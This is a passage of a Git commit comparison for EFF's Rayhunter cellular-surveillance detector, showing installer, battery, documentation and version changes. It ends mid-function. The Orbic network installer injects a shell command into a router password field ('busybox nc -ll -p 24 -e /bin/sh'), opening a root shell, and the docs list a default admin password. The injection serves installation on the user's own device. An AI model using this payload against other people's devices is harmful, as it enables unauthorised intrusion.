mirror of
https://github.com/EFForg/rayhunter.git
synced 2026-05-31 10:13:35 -07:00
Compare commits
15 Commits
| Author | SHA1 | Date | |
|---|---|---|---|
| d413a76b30 | |||
| fc532682df | |||
| 8569a88f86 | |||
| e60035f744 | |||
| 1a80a0576c | |||
| fa5c2bf5d1 | |||
| ce8cbb743f | |||
| 13c1602f76 | |||
| e2cde3be90 | |||
| 8ed3459349 | |||
| 5ccdcc8685 | |||
| dac838eea9 | |||
| 9d33c161b6 | |||
| f6ff61f26b | |||
| 9f57edd385 |
@@ -4,3 +4,4 @@
|
||||
- [ ] Added or updated any documentation as needed to support the changes in this PR.
|
||||
- [ ] Code has been linted and run through `cargo fmt`
|
||||
- [ ] If any new functionality has been added, unit tests were also added
|
||||
- [ ] [./CONTRIBUTING.md](../CONTRIBUTING.md) has been read
|
||||
|
||||
@@ -105,6 +105,8 @@ jobs:
|
||||
steps:
|
||||
- uses: actions/checkout@v4
|
||||
- uses: dtolnay/rust-toolchain@stable
|
||||
with:
|
||||
components: rustfmt, clippy
|
||||
- uses: Swatinem/rust-cache@v2
|
||||
- name: Check formatting
|
||||
run: cargo fmt --all --check
|
||||
|
||||
@@ -0,0 +1,75 @@
|
||||
# How to contribute to Rayhunter
|
||||
|
||||
## Filing issues and starting discussions
|
||||
|
||||
Our issue tracker is [on GitHub](https://github.com/EFForg/rayhunter/issues).
|
||||
|
||||
- If your rayhunter has found an IMSI-catcher, we strongly encourage you to
|
||||
[send us that information
|
||||
privately.](https://efforg.github.io/rayhunter/faq.html#help-rayhunters-line-is-redorangeyellowdotteddashed-what-should-i-do) via Signal.
|
||||
|
||||
- Issues should be actionable. If you don't have a
|
||||
specific feature request or bug report, consider [creating a
|
||||
discussion](https://github.com/EFForg/rayhunter/discussions) instead.
|
||||
|
||||
Example of a good bug report:
|
||||
|
||||
- "Installer broken on TP-Link M7350 v3.0"
|
||||
- "Display does not update to green after finding"
|
||||
- "The documentation is wrong" (though we encourage you to file a pull request directly)
|
||||
|
||||
Example of a good feature request:
|
||||
|
||||
- "Use LED on device XYZ for showing recording status"
|
||||
|
||||
Example of something that belongs into discussion:
|
||||
|
||||
- "In region XYZ, do I need an activated SIM?"
|
||||
- "Where to buy this device in region XYZ?"
|
||||
- "Can this device be supported?" While this is a valid feature
|
||||
request, we just get this request too often, and without some exploratory
|
||||
work done upfront it's often unclear initially if that device can be
|
||||
supported at all.
|
||||
|
||||
- The issue templates are mostly there to give you a clue what kind of
|
||||
information is needed from you, and whether your request belongs into the issue
|
||||
tracker. Fill them out to be on the safe side, but they are not mandatory.
|
||||
|
||||
## Contributing patches
|
||||
|
||||
To edit documentation or fix a bug, make a pull request. If you're about to
|
||||
write a substantial amount of code or implement a new feature, we strongly
|
||||
encourage you to talk to us before implementing it or check if any issues have
|
||||
been opened for it already. Otherwise there is a chance we will reject your
|
||||
contribution after you have spent time on it.
|
||||
|
||||
On the other hand, for small documentation fixes you can file a PR without
|
||||
filing an issue.
|
||||
|
||||
Otherwise:
|
||||
|
||||
- Refer to [installing from
|
||||
source](https://efforg.github.io/rayhunter/installing-from-source.html) for
|
||||
how to build Rayhunter from the git repository.
|
||||
|
||||
- Ensure that `cargo fmt` and `cargo clippy` have been run.
|
||||
|
||||
- If you add new features, please do your best to both write tests for and also
|
||||
manually test them. Our test coverage isn't great, but as new features are
|
||||
added we are trying to prevent it from becoming worse.
|
||||
|
||||
If you have any questions [feel free to open a discussion or chat with us on Mattermost.](https://efforg.github.io/rayhunter/support-feedback-community.html)
|
||||
|
||||
## Making releases
|
||||
|
||||
This one is for maintainers of Rayhunter.
|
||||
|
||||
1. Make a PR changing the versions in `Cargo.toml` and other files.
|
||||
This could be automated better but right now it's manual. You can do this easily with sed:
|
||||
`sed -i "" -E 's/x.x.x/y.y.y/g' */Cargo.toml`
|
||||
|
||||
2. Merge PR and make a tag.
|
||||
|
||||
3. [Run release workflow.](https://github.com/EFForg/rayhunter/actions/workflows/release.yml)
|
||||
|
||||
4. Write changelog, edit it into the release, announce on mattermost.
|
||||
Generated
+6
-6
@@ -1733,7 +1733,7 @@ dependencies = [
|
||||
|
||||
[[package]]
|
||||
name = "installer"
|
||||
version = "0.7.0"
|
||||
version = "0.7.1"
|
||||
dependencies = [
|
||||
"adb_client",
|
||||
"aes",
|
||||
@@ -2772,7 +2772,7 @@ dependencies = [
|
||||
|
||||
[[package]]
|
||||
name = "rayhunter"
|
||||
version = "0.7.0"
|
||||
version = "0.7.1"
|
||||
dependencies = [
|
||||
"bytes",
|
||||
"chrono",
|
||||
@@ -2794,7 +2794,7 @@ dependencies = [
|
||||
|
||||
[[package]]
|
||||
name = "rayhunter-check"
|
||||
version = "0.7.0"
|
||||
version = "0.7.1"
|
||||
dependencies = [
|
||||
"clap",
|
||||
"futures",
|
||||
@@ -2808,7 +2808,7 @@ dependencies = [
|
||||
|
||||
[[package]]
|
||||
name = "rayhunter-daemon"
|
||||
version = "0.7.0"
|
||||
version = "0.7.1"
|
||||
dependencies = [
|
||||
"anyhow",
|
||||
"async-trait",
|
||||
@@ -2954,7 +2954,7 @@ dependencies = [
|
||||
|
||||
[[package]]
|
||||
name = "rootshell"
|
||||
version = "0.7.0"
|
||||
version = "0.7.1"
|
||||
dependencies = [
|
||||
"nix",
|
||||
]
|
||||
@@ -3439,7 +3439,7 @@ checksum = "61c41af27dd6d1e27b1b16b489db798443478cef1f06a660c96db617ba5de3b1"
|
||||
|
||||
[[package]]
|
||||
name = "telcom-parser"
|
||||
version = "0.7.0"
|
||||
version = "0.7.1"
|
||||
dependencies = [
|
||||
"asn1-codecs",
|
||||
"asn1-compiler",
|
||||
|
||||
+1
-1
@@ -1,6 +1,6 @@
|
||||
[package]
|
||||
name = "rayhunter-check"
|
||||
version = "0.7.0"
|
||||
version = "0.7.1"
|
||||
edition = "2024"
|
||||
|
||||
[dependencies]
|
||||
|
||||
+1
-1
@@ -1,6 +1,6 @@
|
||||
[package]
|
||||
name = "rayhunter-daemon"
|
||||
version = "0.7.0"
|
||||
version = "0.7.1"
|
||||
edition = "2024"
|
||||
rust-version = "1.88.0"
|
||||
|
||||
|
||||
@@ -13,6 +13,7 @@ use crate::{
|
||||
|
||||
pub mod orbic;
|
||||
pub mod tmobile;
|
||||
pub mod tplink;
|
||||
pub mod wingtech;
|
||||
|
||||
const LOW_BATTERY_LEVEL: u8 = 10;
|
||||
@@ -50,6 +51,7 @@ pub async fn get_battery_status(device: &Device) -> Result<BatteryState, Rayhunt
|
||||
Device::Orbic => orbic::get_battery_state().await?,
|
||||
Device::Wingtech => wingtech::get_battery_state().await?,
|
||||
Device::Tmobile => tmobile::get_battery_state().await?,
|
||||
Device::Tplink => tplink::get_battery_state().await?,
|
||||
_ => return Err(RayhunterError::FunctionNotSupportedForDeviceError),
|
||||
})
|
||||
}
|
||||
|
||||
@@ -0,0 +1,39 @@
|
||||
use crate::{battery::BatteryState, error::RayhunterError};
|
||||
|
||||
pub async fn get_battery_state() -> Result<BatteryState, RayhunterError> {
|
||||
let uci_battery = tokio::process::Command::new("uci")
|
||||
.arg("get")
|
||||
.arg("battery.battery_mgr.power_level")
|
||||
.output()
|
||||
.await?;
|
||||
|
||||
let uci_plugged_in = tokio::process::Command::new("uci")
|
||||
.arg("get")
|
||||
.arg("battery.battery_mgr.is_charging")
|
||||
.output()
|
||||
.await?;
|
||||
|
||||
if !uci_battery.status.success() {
|
||||
return Err(RayhunterError::BatteryLevelParseError);
|
||||
}
|
||||
|
||||
if !uci_plugged_in.status.success() {
|
||||
return Err(RayhunterError::BatteryPluggedInStatusParseError);
|
||||
}
|
||||
|
||||
let uci_battery = String::from_utf8_lossy(&uci_battery.stdout)
|
||||
.trim_end()
|
||||
.parse()
|
||||
.map_err(|_| RayhunterError::BatteryLevelParseError)?;
|
||||
|
||||
let uci_plugged_in = match String::from_utf8_lossy(&uci_plugged_in.stdout).trim_end() {
|
||||
"0" => Ok(false),
|
||||
"1" => Ok(true),
|
||||
_ => Err(RayhunterError::BatteryPluggedInStatusParseError),
|
||||
}?;
|
||||
|
||||
Ok(BatteryState {
|
||||
level: uci_battery,
|
||||
is_plugged_in: uci_plugged_in,
|
||||
})
|
||||
}
|
||||
@@ -19,6 +19,3 @@ Thumbs.db
|
||||
# Vite
|
||||
vite.config.js.timestamp-*
|
||||
vite.config.ts.timestamp-*
|
||||
|
||||
package-lock.json
|
||||
yarn.lock
|
||||
|
||||
Generated
+5104
File diff suppressed because it is too large
Load Diff
@@ -18,8 +18,9 @@
|
||||
"@sveltejs/adapter-auto": "^3.0.0",
|
||||
"@sveltejs/adapter-static": "^3.0.5",
|
||||
"@sveltejs/kit": "^2.13.0",
|
||||
"@sveltejs/vite-plugin-svelte": "^4.0.0",
|
||||
"@sveltejs/vite-plugin-svelte": "^6.2.1",
|
||||
"@types/eslint": "^9.6.0",
|
||||
"@types/node": "^24.7.0",
|
||||
"autoprefixer": "^10.4.20",
|
||||
"eslint": "^9.7.0",
|
||||
"eslint-config-prettier": "^9.1.0",
|
||||
@@ -32,7 +33,7 @@
|
||||
"tailwindcss": "^3.4.9",
|
||||
"typescript": "^5.0.0",
|
||||
"typescript-eslint": "^8.0.0",
|
||||
"vite": "^5.0.3",
|
||||
"vitest": "^2.0.4"
|
||||
"vite": "^7.1.9",
|
||||
"vitest": "^3.2.4"
|
||||
}
|
||||
}
|
||||
|
||||
@@ -51,7 +51,8 @@ cargo build -p rootshell --bin rootshell --target armv7-unknown-linux-musleabihf
|
||||
|
||||
# Replace 'orbic' with your device type if different.
|
||||
# A list of possible values can be found with 'cargo run --bin installer help'.
|
||||
cargo run -p installer --bin installer orbic
|
||||
# Use FILE_RAYHUNTER_DAEMON to specify the daemon binary path when using development builds:
|
||||
FILE_RAYHUNTER_DAEMON=$PWD/target/armv7-unknown-linux-musleabihf/firmware-devel/rayhunter-daemon cargo run -p installer --bin installer orbic
|
||||
```
|
||||
|
||||
### If you're on Windows or can't run the install scripts
|
||||
|
||||
+2
-3
@@ -30,11 +30,10 @@ According to [FCC ID 2APQU-K779HSDL](https://fcc.report/FCC-ID/2APQU-K779HSDL),
|
||||
Connect to the hotspot's network using WiFi or USB tethering and run:
|
||||
|
||||
```sh
|
||||
./installer orbic-network
|
||||
./installer orbic-network --admin-password 'mypassword'
|
||||
```
|
||||
|
||||
The installation will ask you to log into the admin UI using a custom URL. The
|
||||
password for that is under the battery.
|
||||
The password (in place of `mypassword`) is under the battery.
|
||||
|
||||
## Obtaining a shell
|
||||
|
||||
|
||||
+7
-4
@@ -32,11 +32,14 @@ reliably on Windows than `./installer orbic` does.
|
||||
The drawback is that the device's admin password is required.
|
||||
|
||||
1. Connect to the Orbic's network via WiFi or USB tethering
|
||||
2. Run `./installer orbic-network`
|
||||
3. The installer will ask you to log into the admin UI on `localhost:4000`. The password for that is the same as the WiFi password.
|
||||
4. As soon as you're logged in, the installer will continue and reboot the device.
|
||||
2. Run `./installer orbic-network --admin-password 'mypassword'`
|
||||
|
||||
*note*: On Kajeet devices the default admin password is `$m@rt$p0tc0nf!g`, on most other orbic devices the default admin password is the same as the wifi password. If the password has been changed you can reset it by pressing the button under the back case until the unit restarts.
|
||||
* On Verizon Orbic, the password is the WiFi password.
|
||||
* On Kajeet/Smartspot devices, the default password is `$m@rt$p0tc0nf!g`
|
||||
* On Moxee-brand devices, check under the battery for the password.
|
||||
* You can reset the password by pressing the button under the back case until the unit restarts.
|
||||
|
||||
3. The installer will eventually reboot the device, at which point the device is up and running.
|
||||
|
||||
## Obtaining a shell
|
||||
|
||||
|
||||
@@ -4,6 +4,16 @@ Supported in Rayhunter since version 0.3.0.
|
||||
|
||||
The TP-Link M7350 supports many more frequency bands than Orbic and therefore works in Europe and also in some Asian and African countries.
|
||||
|
||||
## Supported Bands
|
||||
|
||||
| Technology | Bands |
|
||||
| ---------- | ----- |
|
||||
| 4G LTE | B1/B3/B7/B8/B20 (2100/1800/2600/900/800 MHz) |
|
||||
| 3G | B1/B8 (2100/900 MHz) |
|
||||
| 2G | 850/900/1800/1900 MHz |
|
||||
|
||||
*Source: [TP-Link Official Product Page](https://www.tp-link.com/baltic/service-provider/lte-3g/m7350/)*
|
||||
|
||||
## Hardware versions
|
||||
|
||||
The TP-Link comes in many different *hardware versions*. Support for installation varies:
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
[package]
|
||||
name = "installer"
|
||||
version = "0.7.0"
|
||||
version = "0.7.1"
|
||||
edition = "2024"
|
||||
|
||||
[dependencies]
|
||||
|
||||
+11
-2
@@ -3,6 +3,7 @@ use clap::{Parser, Subcommand};
|
||||
use env_logger::Env;
|
||||
|
||||
mod orbic;
|
||||
mod orbic_auth;
|
||||
mod orbic_network;
|
||||
mod pinephone;
|
||||
mod tmobile;
|
||||
@@ -76,6 +77,14 @@ struct OrbicNetworkArgs {
|
||||
/// IP address for Orbic admin interface, if custom.
|
||||
#[arg(long, default_value = "192.168.1.1")]
|
||||
admin_ip: String,
|
||||
|
||||
/// Admin username for authentication.
|
||||
#[arg(long, default_value = "admin")]
|
||||
admin_username: String,
|
||||
|
||||
/// Admin password for authentication.
|
||||
#[arg(long)]
|
||||
admin_password: String,
|
||||
}
|
||||
|
||||
#[derive(Parser, Debug)]
|
||||
@@ -199,7 +208,7 @@ async fn run() -> Result<(), Error> {
|
||||
Command::Pinephone(_) => pinephone::install().await
|
||||
.context("Failed to install rayhunter on the Pinephone's Quectel modem")?,
|
||||
Command::Orbic(_) => orbic::install().await.context("\nFailed to install rayhunter on the Orbic RC400L")?,
|
||||
Command::OrbicNetwork(args) => orbic_network::install(args.admin_ip).await.context("\nFailed to install rayhunter on the Orbic RC400L via network exploit")?,
|
||||
Command::OrbicNetwork(args) => orbic_network::install(args.admin_ip, args.admin_username, args.admin_password).await.context("\nFailed to install rayhunter on the Orbic RC400L via network exploit")?,
|
||||
Command::Wingtech(args) => wingtech::install(args).await.context("\nFailed to install rayhunter on the Wingtech CT2MHS01")?,
|
||||
Command::Util(subcommand) => match subcommand.command {
|
||||
UtilSubCommand::Serial(serial_cmd) => {
|
||||
@@ -237,7 +246,7 @@ async fn run() -> Result<(), Error> {
|
||||
UtilSubCommand::WingtechStartAdb(args) => wingtech::start_adb(&args.admin_ip, &args.admin_password).await.context("\nFailed to start adb on the Wingtech CT2MHS01")?,
|
||||
UtilSubCommand::PinephoneStartAdb => pinephone::start_adb().await.context("\nFailed to start adb on the PinePhone's modem")?,
|
||||
UtilSubCommand::PinephoneStopAdb => pinephone::stop_adb().await.context("\nFailed to stop adb on the PinePhone's modem")?,
|
||||
UtilSubCommand::OrbicStartTelnet(args) => orbic_network::start_telnet(&args.admin_ip).await.context("\\nFailed to start telnet on the Orbic RC400L")?,
|
||||
UtilSubCommand::OrbicStartTelnet(args) => orbic_network::start_telnet(&args.admin_ip, &args.admin_username, &args.admin_password).await.context("\\nFailed to start telnet on the Orbic RC400L")?,
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
@@ -0,0 +1,80 @@
|
||||
use anyhow::{Context, Result};
|
||||
use base64_light::base64_encode;
|
||||
use serde::{Deserialize, Serialize};
|
||||
|
||||
/// Helper function to swap characters in a string
|
||||
fn swap_chars(s: &str, pos1: usize, pos2: usize) -> String {
|
||||
let mut chars: Vec<char> = s.chars().collect();
|
||||
if pos1 < chars.len() && pos2 < chars.len() {
|
||||
chars.swap(pos1, pos2);
|
||||
}
|
||||
chars.into_iter().collect()
|
||||
}
|
||||
|
||||
/// Apply character swapping based on secret (unchanged from original algorithm)
|
||||
fn apply_secret_swapping(mut text: String, secret_num: u32) -> String {
|
||||
for i in 0..4 {
|
||||
let byte = (secret_num >> (i * 8)) & 0xff;
|
||||
let pos1 = (byte as usize) % text.len();
|
||||
let pos2 = i % text.len();
|
||||
text = swap_chars(&text, pos1, pos2);
|
||||
}
|
||||
text
|
||||
}
|
||||
|
||||
/// Encode password using Orbic's custom algorithm
|
||||
///
|
||||
/// This function is a lot simpler than the original JavaScript because it always uses the same
|
||||
/// character set regardless of "password type", and any randomly generated values are hardcoded.
|
||||
pub fn encode_password(
|
||||
password: &str,
|
||||
secret: &str,
|
||||
timestamp: &str,
|
||||
timestamp_start: u64,
|
||||
) -> Result<String> {
|
||||
let current_time = std::time::SystemTime::now()
|
||||
.duration_since(std::time::UNIX_EPOCH)
|
||||
.unwrap()
|
||||
.as_secs();
|
||||
|
||||
// MD5 hash the password and use fixed prefix "a7" instead of random chars
|
||||
let password_md5 = format!("{:x}", md5::compute(password));
|
||||
let mut spliced_password = format!("a7{}", password_md5);
|
||||
|
||||
let secret_num = u32::from_str_radix(secret, 16).context("Failed to parse secret as hex")?;
|
||||
|
||||
spliced_password = apply_secret_swapping(spliced_password, secret_num);
|
||||
|
||||
let timestamp_hex =
|
||||
u32::from_str_radix(timestamp, 16).context("Failed to parse timestamp as hex")?;
|
||||
let time_delta = format!(
|
||||
"{:x}",
|
||||
timestamp_hex + (current_time - timestamp_start) as u32
|
||||
);
|
||||
|
||||
// Use fixed hex "6137" instead of hex encoding of random values
|
||||
let message = format!("6137x{}:{}", time_delta, spliced_password);
|
||||
|
||||
let result = base64_encode(&message);
|
||||
let result = apply_secret_swapping(result, secret_num);
|
||||
|
||||
Ok(result)
|
||||
}
|
||||
|
||||
#[derive(Debug, Serialize)]
|
||||
pub struct LoginRequest {
|
||||
pub username: String,
|
||||
pub password: String,
|
||||
}
|
||||
|
||||
#[derive(Debug, Deserialize)]
|
||||
pub struct LoginInfo {
|
||||
pub retcode: u32,
|
||||
#[serde(rename = "priKey")]
|
||||
pub pri_key: String,
|
||||
}
|
||||
|
||||
#[derive(Debug, Deserialize)]
|
||||
pub struct LoginResponse {
|
||||
pub retcode: u32,
|
||||
}
|
||||
+120
-117
@@ -4,21 +4,11 @@ use std::str::FromStr;
|
||||
use std::time::Duration;
|
||||
|
||||
use anyhow::{Context, Result, bail};
|
||||
use axum::{
|
||||
Router,
|
||||
body::Body,
|
||||
extract::{Request, State},
|
||||
http::uri::Uri,
|
||||
response::{IntoResponse, Response},
|
||||
routing::any,
|
||||
};
|
||||
use hyper::StatusCode;
|
||||
use hyper_util::{client::legacy::connect::HttpConnector, rt::TokioExecutor};
|
||||
use reqwest::Client;
|
||||
use serde::Deserialize;
|
||||
use tokio::sync::mpsc;
|
||||
use tokio::time::sleep;
|
||||
|
||||
use crate::orbic_auth::{LoginInfo, LoginRequest, LoginResponse, encode_password};
|
||||
use crate::util::{echo, telnet_send_command, telnet_send_file};
|
||||
use crate::{CONFIG_TOML, RAYHUNTER_DAEMON_INIT};
|
||||
|
||||
@@ -27,16 +17,128 @@ struct ExploitResponse {
|
||||
retcode: u32,
|
||||
}
|
||||
|
||||
pub async fn start_telnet(admin_ip: &str) -> Result<()> {
|
||||
println!("Waiting for login and trying exploit... ");
|
||||
login_and_exploit(admin_ip).await?;
|
||||
async fn login_and_exploit(admin_ip: &str, username: &str, password: &str) -> Result<()> {
|
||||
let client: Client = Client::new();
|
||||
|
||||
// Step 1: Get login info (priKey and session cookie)
|
||||
let login_info_response = client
|
||||
.get(format!("http://{}/goform/GetLoginInfo", admin_ip))
|
||||
.send()
|
||||
.await
|
||||
.context("Failed to get login info")?;
|
||||
|
||||
let session_cookie = login_info_response
|
||||
.headers()
|
||||
.get("set-cookie")
|
||||
.and_then(|cookie| cookie.to_str().ok())
|
||||
.context("No session cookie received")?
|
||||
.split(';')
|
||||
.next()
|
||||
.context("Invalid cookie format")?
|
||||
.to_string();
|
||||
|
||||
let login_info: LoginInfo = login_info_response
|
||||
.json()
|
||||
.await
|
||||
.context("Failed to parse login info")?;
|
||||
|
||||
if login_info.retcode != 0 {
|
||||
bail!("GetLoginInfo failed with retcode: {}", login_info.retcode);
|
||||
}
|
||||
|
||||
// Parse priKey (format: "secret x timestamp")
|
||||
let mut parts = login_info.pri_key.split('x');
|
||||
let secret = parts.next().context("Missing secret in priKey")?;
|
||||
let timestamp = parts.next().context("Missing timestamp in priKey")?;
|
||||
if parts.next().is_some() {
|
||||
bail!("Invalid priKey format: {}", login_info.pri_key);
|
||||
}
|
||||
|
||||
// Step 2: Encode credentials
|
||||
let username_md5 = format!("{:x}", md5::compute(username));
|
||||
let timestamp_start = std::time::SystemTime::now()
|
||||
.duration_since(std::time::UNIX_EPOCH)
|
||||
.unwrap()
|
||||
.as_secs();
|
||||
|
||||
let encoded_password = encode_password(password, secret, timestamp, timestamp_start)
|
||||
.context("Failed to encode password")?;
|
||||
|
||||
let login_request = LoginRequest {
|
||||
username: username_md5,
|
||||
password: encoded_password,
|
||||
};
|
||||
|
||||
// Step 3: Perform login
|
||||
let login_response = client
|
||||
.post(format!("http://{}/goform/login", admin_ip))
|
||||
.header("Content-Type", "application/json")
|
||||
.header("Cookie", &session_cookie)
|
||||
.json(&login_request)
|
||||
.send()
|
||||
.await
|
||||
.context("Failed to send login request")?;
|
||||
|
||||
// Extract authenticated session cookie from login response
|
||||
let authenticated_cookie = login_response
|
||||
.headers()
|
||||
.get("set-cookie")
|
||||
.and_then(|cookie| cookie.to_str().ok())
|
||||
.map(|cookie| cookie.split(';').next().unwrap_or(cookie).to_string())
|
||||
.unwrap_or(session_cookie);
|
||||
|
||||
let login_result: LoginResponse = login_response
|
||||
.json()
|
||||
.await
|
||||
.context("Failed to parse login response")?;
|
||||
|
||||
if login_result.retcode != 0 {
|
||||
bail!("Login failed with retcode: {}", login_result.retcode);
|
||||
}
|
||||
|
||||
// Step 4: Exploit using authenticated session
|
||||
let response: ExploitResponse = client
|
||||
.post(format!("http://{}/action/SetRemoteAccessCfg", admin_ip))
|
||||
.header("Content-Type", "application/json")
|
||||
.header("Cookie", authenticated_cookie)
|
||||
// Original Orbic lacks telnetd (unlike other devices)
|
||||
// When doing this, one needs to set prompt=None in the telnet utility functions
|
||||
// But some kajeet devices have password protected telnetd so we use port 24 just in case
|
||||
.body(r#"{"password": "\"; busybox nc -ll -p 24 -e /bin/sh & #"}"#)
|
||||
.send()
|
||||
.await
|
||||
.context("failed to start telnet")?
|
||||
.json()
|
||||
.await
|
||||
.context("failed to start telnet")?;
|
||||
|
||||
if response.retcode != 0 {
|
||||
bail!("unexpected response while starting telnet: {:?}", response);
|
||||
}
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
pub async fn start_telnet(
|
||||
admin_ip: &str,
|
||||
admin_username: &str,
|
||||
admin_password: &str,
|
||||
) -> Result<()> {
|
||||
echo!("Logging in and starting telnet... ");
|
||||
login_and_exploit(admin_ip, admin_username, admin_password).await?;
|
||||
println!("done");
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
pub async fn install(admin_ip: String) -> Result<()> {
|
||||
start_telnet(&admin_ip).await?;
|
||||
pub async fn install(
|
||||
admin_ip: String,
|
||||
admin_username: String,
|
||||
admin_password: String,
|
||||
) -> Result<()> {
|
||||
echo!("Logging in and starting telnet... ");
|
||||
login_and_exploit(&admin_ip, &admin_username, &admin_password).await?;
|
||||
println!("done");
|
||||
|
||||
echo!("Waiting for telnet to become available... ");
|
||||
wait_for_telnet(&admin_ip).await?;
|
||||
@@ -45,107 +147,8 @@ pub async fn install(admin_ip: String) -> Result<()> {
|
||||
setup_rayhunter(&admin_ip).await
|
||||
}
|
||||
|
||||
type HttpProxyClient = hyper_util::client::legacy::Client<HttpConnector, Body>;
|
||||
|
||||
#[derive(Clone)]
|
||||
struct ProxyState {
|
||||
client: HttpProxyClient,
|
||||
admin_ip: String,
|
||||
session_sender: mpsc::Sender<String>,
|
||||
}
|
||||
|
||||
async fn proxy_handler(state: State<ProxyState>, mut req: Request) -> Result<Response, StatusCode> {
|
||||
// Check for existing session cookie in request
|
||||
if let Some(cookie_header) = req.headers().get("cookie")
|
||||
&& let Ok(cookie_str) = cookie_header.to_str()
|
||||
&& cookie_str.contains("-goahead-session-")
|
||||
{
|
||||
let _ = state.session_sender.send(cookie_str.to_owned()).await;
|
||||
}
|
||||
|
||||
let path_query = req
|
||||
.uri()
|
||||
.path_and_query()
|
||||
.map(|v| v.as_str())
|
||||
.unwrap_or("/");
|
||||
let uri = format!("http://{}{}", state.admin_ip, path_query);
|
||||
*req.uri_mut() = Uri::try_from(uri).unwrap();
|
||||
|
||||
let response = state
|
||||
.client
|
||||
.request(req)
|
||||
.await
|
||||
.map_err(|_| StatusCode::BAD_REQUEST)?;
|
||||
Ok(response.into_response())
|
||||
}
|
||||
|
||||
async fn login_and_exploit(admin_ip: &str) -> Result<()> {
|
||||
let client = hyper_util::client::legacy::Client::builder(TokioExecutor::new())
|
||||
.build(HttpConnector::new());
|
||||
let (tx, mut rx) = mpsc::channel(100);
|
||||
|
||||
let app = Router::new()
|
||||
.route("/", any(proxy_handler))
|
||||
.route("/{*path}", any(proxy_handler))
|
||||
.with_state(ProxyState {
|
||||
client,
|
||||
admin_ip: admin_ip.to_owned(),
|
||||
session_sender: tx,
|
||||
});
|
||||
|
||||
let listener = tokio::net::TcpListener::bind("127.0.0.1:4000")
|
||||
.await
|
||||
.context("Failed to bind to port 4000")?;
|
||||
|
||||
println!(
|
||||
"Please open http://127.0.0.1:4000 in your browser and log into the device to continue."
|
||||
);
|
||||
println!("Username: admin");
|
||||
println!(
|
||||
"Password: On Verizon Orbic RC400L, use the WiFi password. On Moxee devices, check under the battery."
|
||||
);
|
||||
|
||||
let handle = tokio::spawn(async move { axum::serve(listener, app).await });
|
||||
let exploit_client = Client::new();
|
||||
|
||||
let mut last_error = None;
|
||||
|
||||
while let Some(cookie_header) = rx.recv().await {
|
||||
match start_reverse_shell(&exploit_client, admin_ip, &cookie_header).await {
|
||||
Ok(_) => {
|
||||
handle.abort();
|
||||
return Ok(());
|
||||
}
|
||||
Err(e) => last_error = Some(e),
|
||||
}
|
||||
}
|
||||
|
||||
handle.abort();
|
||||
bail!("Failed to receive session cookie, last error: {last_error:?}")
|
||||
}
|
||||
|
||||
async fn start_reverse_shell(client: &Client, admin_ip: &str, cookie_header: &str) -> Result<()> {
|
||||
let response: ExploitResponse = client
|
||||
.post(format!("http://{}/action/SetRemoteAccessCfg", admin_ip))
|
||||
.header("Content-Type", "application/json")
|
||||
.header("Cookie", cookie_header)
|
||||
// Original Orbic lacks telnetd (unlike other devices)
|
||||
// When doing this, one needs to set prompt=None in the telnet utility functions
|
||||
.body(r#"{"password": "\"; busybox nc -ll -p 23 -e /bin/sh & #"}"#)
|
||||
.send()
|
||||
.await?
|
||||
.json()
|
||||
.await?;
|
||||
|
||||
if response.retcode != 0 {
|
||||
bail!("unexpected response: {:?}", response);
|
||||
}
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
async fn wait_for_telnet(admin_ip: &str) -> Result<()> {
|
||||
let addr = SocketAddr::from_str(&format!("{}:23", admin_ip))?;
|
||||
let addr = SocketAddr::from_str(&format!("{}:24", admin_ip))?;
|
||||
let timeout = Duration::from_secs(60);
|
||||
let start_time = std::time::Instant::now();
|
||||
|
||||
@@ -166,7 +169,7 @@ async fn wait_for_telnet(admin_ip: &str) -> Result<()> {
|
||||
}
|
||||
|
||||
async fn setup_rayhunter(admin_ip: &str) -> Result<()> {
|
||||
let addr = SocketAddr::from_str(&format!("{}:23", admin_ip))?;
|
||||
let addr = SocketAddr::from_str(&format!("{}:24", admin_ip))?;
|
||||
let rayhunter_daemon_bin = include_bytes!(env!("FILE_RAYHUNTER_DAEMON"));
|
||||
|
||||
// Remount filesystem as read-write to allow modifications
|
||||
|
||||
+12
-2
@@ -40,6 +40,7 @@ struct V3RootResponse {
|
||||
|
||||
pub async fn start_telnet(admin_ip: &str) -> Result<bool, Error> {
|
||||
let client = reqwest::Client::new();
|
||||
let addr = SocketAddr::from_str(&format!("{admin_ip}:23")).unwrap();
|
||||
|
||||
println!("Launching telnet on the device");
|
||||
|
||||
@@ -85,11 +86,20 @@ pub async fn start_telnet(admin_ip: &str) -> Result<bool, Error> {
|
||||
anyhow::bail!("Bad result code when trying to reset the language: {result}");
|
||||
}
|
||||
|
||||
println!("Detected hardware revision v3");
|
||||
// Final check. On v6, all of the above steps succeed, but telnet may still not be launched.
|
||||
sleep(Duration::from_millis(1000)).await;
|
||||
if telnet_send_command(addr, "true", "exit code 0", true)
|
||||
.await
|
||||
.is_err()
|
||||
{
|
||||
continue;
|
||||
}
|
||||
|
||||
println!("Detected hardware revision v3, successfully opened telnet");
|
||||
return Ok(true);
|
||||
}
|
||||
|
||||
println!("Got a 404 trying to run exploit for hardware revision v3, trying v5 exploit");
|
||||
println!("This doesn't look like a v3 device, trying web-based exploit");
|
||||
tplink_launch_telnet_v5(admin_ip).await?;
|
||||
|
||||
Ok(false)
|
||||
|
||||
+43
-13
@@ -18,12 +18,11 @@ macro_rules! echo {
|
||||
}
|
||||
pub(crate) use echo;
|
||||
|
||||
pub async fn telnet_send_command(
|
||||
pub async fn telnet_send_command_with_output(
|
||||
addr: SocketAddr,
|
||||
command: &str,
|
||||
expected_output: &str,
|
||||
wait_for_prompt: bool,
|
||||
) -> Result<()> {
|
||||
) -> Result<String> {
|
||||
let stream = TcpStream::connect(addr).await?;
|
||||
let (mut reader, mut writer) = stream.into_split();
|
||||
|
||||
@@ -69,9 +68,19 @@ pub async fn telnet_send_command(
|
||||
}
|
||||
})
|
||||
.await;
|
||||
let string = String::from_utf8_lossy(&read_buf);
|
||||
if !string.contains(expected_output) {
|
||||
bail!("{expected_output:?} not found in: {string}");
|
||||
let string = String::from_utf8_lossy(&read_buf).to_string();
|
||||
Ok(string)
|
||||
}
|
||||
|
||||
pub async fn telnet_send_command(
|
||||
addr: SocketAddr,
|
||||
command: &str,
|
||||
expected_output: &str,
|
||||
wait_for_prompt: bool,
|
||||
) -> Result<()> {
|
||||
